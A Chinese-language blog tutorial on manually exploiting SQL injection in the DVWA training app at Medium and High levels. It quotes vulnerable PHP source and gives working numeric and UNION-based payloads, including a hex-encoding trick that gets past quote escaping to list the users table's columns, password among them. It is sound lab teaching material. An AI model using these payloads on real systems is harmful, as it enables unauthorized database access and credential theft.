大白话之从零讲解 DVWA(贰)-SQL 注入 (SQL Injection) Medium/High Level

本贴最后更新于 2029 天前,其中的信息可能已经水流花落

前言

本章我们将进行 MediumHigh 等级的 DVWA SQL Injection 手工注入。

如没看过第一章,请点我跳转

阅读本篇文章前,你需要了解下面的知识:

  • 转义字符在 PHP 中的作用
  • MySQL:LIMIT 语句的作用与用法

Medium Level SQL 注入

和初级一样,我们输入如下语句:

1' order by 2 # 

但得到了如下结果:

`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 2 #' at line 1`

返回页面,点击右下角的 View Source 阅读源码,我们会发现:

$id = mysql_real_escape_string($id);

出现了一个初级没有的方法:
mysql_real_escape_string 将字符串中的:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

进行了 转义 的处理,而我们使用的单引号被从 ' 转义为了 \',所以注入语句无法执行。

换个思路,如果我们不使用单引号呢?

组建语句:

1 order by 2 # 

返回结果:

ID: 1 order by 2 # 
First name: admin
Surname: admin

运气不错!但为什么会这样呢?

源码比对

对比低级中级的 SQL 执行语句:

低级:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

中级:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

仔细看,你会发现中级去掉了单引号,也就是说我们不加单引号也可以同时执行两条语句。由于没有使用 单引号 单独转换 $id 为字符串,所以被称为 数字型 注入。

实例测试

假设注入语句:

1' order by 2 # 

注入到低级语句,组成语句:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 # '

我们可以看到,虽然多出了一个单引号,但我们使用 # 将其注释,所以 # 后面的不生效,语句成立。

注入到中级语句时,单引号会被过滤,语句无效。

再试试中级的注入语句 1 order by 2 # 注入到中级语句:

SELECT first_name, last_name FROM users WHERE user_id = 1 order by 2

没有单引号的干扰,语句可以正常执行。

目前已知可渗透条件

  1. 语句执行方法:1 [SQL语句] #
  2. 如要使用 union 联合查询,必须返回两列,否则将报错。

Have a try

你已经知道了可渗透条件,现在照着上一章的方法试着自己宕出用户名和密码吧!当你在测试的时候遇到了问题,请继续往下读:

Trouble shooting

  • 测试语句中字符串的引号被转义
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 

这本应该是一条正确的语句,但 'users' 无论是使用单引号还是双引号都会被转义,所以我们应该将其转为 16 进制。

Python 中输入如下命令:

import binascii
print binascii.b2a_hex('users')

这会将 users 转为 16 进制,这样我们就绕过了引号,且能被 MySQL 正常识别。

返回结果:

>>> import binascii
>>> print binascii.b2a_hex('users')
7573657273

7573657273 便是 users 转换为 16 进制的结果。不仅可以使用 Python 进行进制转换,你也可以使用其它工具进行转换。

7573657273 会被 MySQL 识别为 整数,我们需要将它包装0x7573657273 才能被正常识别为 16 进制。

组成语句:

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # 

得到返回结果:

ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #   
First name: admin  
Surname: admin

ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #   
First name: 1  
Surname: user_id,first_name,last_name,user,password,avatar

成功!

High Level SQL 注入

阅读源码:

<?php      
  
if (isset($_GET['Submit'])) {  
  
    // Retrieve data  
  
    $id = $_GET['id'];  
    $id = stripslashes($id);  
    $id = mysql_real_escape_string($id);  
  
    if (is_numeric($id)){  
  
        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";  
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );  
  
        $num = mysql_numrows($result);  
  
        $i=0;  
  
        while ($i < $num) {  
  
            $first = mysql_result($result,$i,"first_name");  
            $last = mysql_result($result,$i,"last_name");  
              
            echo '<pre>';  
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;  
            echo '</pre>';  
  
            $i++;  
        }  
    }  
}  
?>

这里使用的是 DVWA1.8 版本,我发现很多版本之间源码都有一定程度的不同,新版本更是增加了等级。

我们可以看到,它既封堵了分号的 BUG,又同时将:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

数字型注入漏洞封堵了。所以该等级我换了一个版本的 DVWA 作演示:

DVWA1.9 - High Level 源码:

<?php  
  
if( isset( $_SESSION [ 'id' ] ) ) {  
// Get input  
$id = $_SESSION[ 'id' ];  
  
// Check database  
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";  
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );  
  
// Get results  
$num = mysql_numrows( $result );  
$i   = 0;  
    while( $i < $num ) {  
// Get values  
$first = mysql_result( $result, $i, "first_name" );  
$last  = mysql_result( $result, $i, "last_name" );  
  
// Feedback for end user  
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";  
  
// Increase loop count  
$i++;  
    }  
  
mysql_close();  
}  
  
?>

通过和中级的对比,我们可以看到多出了 LIMIT 1 的限制,它限制只输出一条结果。但由于我们使用了 # 进行注释,所以使用中级的方法就可以保证 LIMIT 1 不被执行。

后语

本文通过 DVWA 讲述了手工 SQL 注入的思路,更多进阶的知识还需要自己去旁敲侧击摸索出来,祝好运。

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...